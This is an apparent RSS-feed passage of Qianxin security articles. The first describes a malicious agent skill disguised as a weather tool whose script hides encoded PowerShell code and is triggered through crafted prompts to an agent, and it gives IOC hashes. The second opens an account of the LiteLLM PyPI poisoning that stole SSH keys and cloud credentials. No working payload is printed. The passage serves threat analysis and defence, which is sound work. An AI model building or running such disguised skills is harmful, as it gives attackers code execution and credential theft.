initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">静态检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">利用天穹智能体安全分析平台的静态分析功能，对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SKILL</span></strong><span leaf=""> 样本进行全面的代码审计与恶意行为扫描，尝试识别其中存在的恶意指令与潜在风险点，如图 2 所示；</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="SKILL安全检测" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005462" data-ratio="0.3814814814814815" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=06132bb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtkmIYCHUw5icfKRURe3NibIe0WrF9RaedrlA37ceSRpqiajXruoEV33TsIrfaXqKleleMbNyVs7vNXGtX5tffFT0AOWoFEGRzWKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 SKILL 安全检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上图展示了天穹智能体安全分析平台对 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">weather-data-fetcher</span></strong><span leaf=""> 技能样本执行的深度静态审计报告。尽管该技能元数据伪装成正常的天气查询工具，但平台通过代码审计精准捕获了其核心脚本 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">scripts/weather.py</span></code><span leaf=""> 中的恶意行为。检测结果显示综合风险等级为 </span><font color="red" style="box-sizing: border-box;"><span leaf="">[危险]</span></font><span leaf="">，具体揭示了攻击者利用 Base64 与 PowerShell 双重编码技术隐藏载荷，并通过 os.system 绕过正常逻辑执行内存中 Gzip 压缩的恶意代码，构成典型的远程代码执行（RCE） 威胁。该案例充分验证了平台在识别隐蔽恶意指令、解析混淆代码以及评估智能体潜在风险点方面的核心安全能力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为确证静态扫描结果的真实性，平台将转入动态分析阶段，利用 OpenClaw 框架生成高风险交互提示词。这些提示词专门设计用于触发 weather-data-fetcher 技能中的恶意代码执行路径，如图 3 所示。通过在受控沙箱中运行这些提示词，观察技能是否会产生预期的恶意行为（如内存代码执行、异常外联等），从而量化风险等级，并为后续的防御策略提供具体的行为特征指标（IOCs）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="触发提示词" class="rich_pages wxw-img" data-ratio="0.637962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005461" src="https://wechat2rss.xlab.app/img-proxy/?k=b45a80a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdubbvHABicnkOPAXA88icuqwW8s22ef2RdZeNqOfKWNkQLJWayAu633IA9XqaTqUx5iaY1enb7PVpAeUfVibUwIBCuPsq3WFBR3fUI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 触发提示词</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">动态检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该恶意 SKILL 样本一经调用，OpenClaw 会立即执行其中的恶意指令，利用 PowerShell 反射加载恶意载荷，实现远程命令执行，进而下载并执行更多恶意程序，最终导致设备被控、数据泄露等严重安全事件。天穹沙箱系统通过全链路行为深度建模与动态分析能力，成功捕获并解析了该样本从初始调用、恶意指令执行、到最终远程控制的整个攻击过程，精准识别了其反调试、环境探测、权限提升等恶意行为，并完整提取了各阶段解密后的恶意载荷，为安全人员深入分析 OpenClaw 智能体的攻击战术、技术细节与危害影响提供了全面、清晰的技术视角，显著提升了对此类高级威胁的识别能力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进程调用关系如图 4 所示：</span><span leaf=""><br/></span><span leaf=""><img alt="进程链" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005460" data-ratio="0.6592592592592592" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=47f684b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtBb14gB6ib8nPCmLogsMbtmhJn5pcd9q7UDb3ibWuuiaq5tjcXibuIP2AwmZR6rEoxwtCyDicmth2ibMNO2AzJLIWNOaNlHOvfI2EQo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 进程调用关系</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">动态威胁检出如图 5 所示：</span><span leaf=""><br/></span><span leaf=""><img alt="动态" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005463" data-ratio="0.6138888888888889" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0285e861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvbibLgLyMDjHEnaB8zloHWagBH09JSZSkRFRf6z2GUKV68UNupJwkPiabiaNVYq1gu5dWicWeBWiajLeOgWhE935TRqLdbO2mtPWCI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 动态威胁检出</span></center><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7335285505124451" data-type="png" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005465" src="https://wechat2rss.xlab.app/img-proxy/?k=2c4ebb24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtSbWGFDF4OEoFu71nqibPhpia3yHKeVVwaD2AkpWyftMTmfiaQ7pBn2PPhCkdyxJBUeVXA3YyffnntQNJcVnxaJJxMFibHygicliaTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">五、IOC</span></span></strong></p></div></div></div></div></div><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">恶意文件（MD5）</span></span></strong></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span leaf=""><span class="code-snippet__number">5</span>a44617d7df9926762b16e2a90b23e8f        weather.zip</span></code><br/><code><span leaf=""><span class="code-snippet__number">033</span>ffdfbd70006988a097ba033c4676b        weather.py</span></code><br/><code><span leaf=""><span class="code-snippet__number">65284</span>f7a942aa60a8a4e2c6ea5ceb119        <span class="code-snippet__built_in">SKILL</span>.md</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 20px;">报告链接</span></span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析报告：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976</a></span></p><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005467" data-ratio="0.7335285505124451" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-type="png" data-w="1366" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=991041ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsTPiaGkqiafgVm3vpBflJpfDKwD8vBv2uxmTJtDZt8dtGW5hW2iaVoI2ick8SnZMUm5SRAEnPzGpb5rk6SnI4iauqQBLdtDW9mstcE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">六、技术支持与反馈</span></span></strong></p></div></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2ac04713&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489119%26idx%3D1%26sn%3D5982b1c8e435d8bfe007823fdbf6dafc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Apr 2026 17:16:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】飞驰的AI列车下的隐患：litellm AI供应链投毒事件分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489103&amp;idx=1&amp;sn=39ae7bae786321759df68d3e5ea15876</link>
      <description>2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-25 20:37</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0a7f14b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdurhKibc7dox1aJz0g2Rd7cOHahwaRhwefc7y3GDaLUibZS98zibddSA8upcX0maj4UJoIDwWyuHmXEJjERYibIhafq2VVaKQc1sO4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. LiteLLM被投毒事件回顾</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">1.1 LiteLLM简介及攻击回顾</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325153157666" class="rich_pages wxw-img" data-ratio="0.5861111111111111" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005431" src="https://wechat2rss.xlab.app/img-proxy/?k=7cc2969a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvncnwFSJPkMFKPRgLYmbwvib3XOmA3pbAyg022Cn4Z0tCScPFchicxw6V4PPf6aHbKsb6WKib4lZbEh8icnAwK7MaLZPiaick8rKAtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">1.2 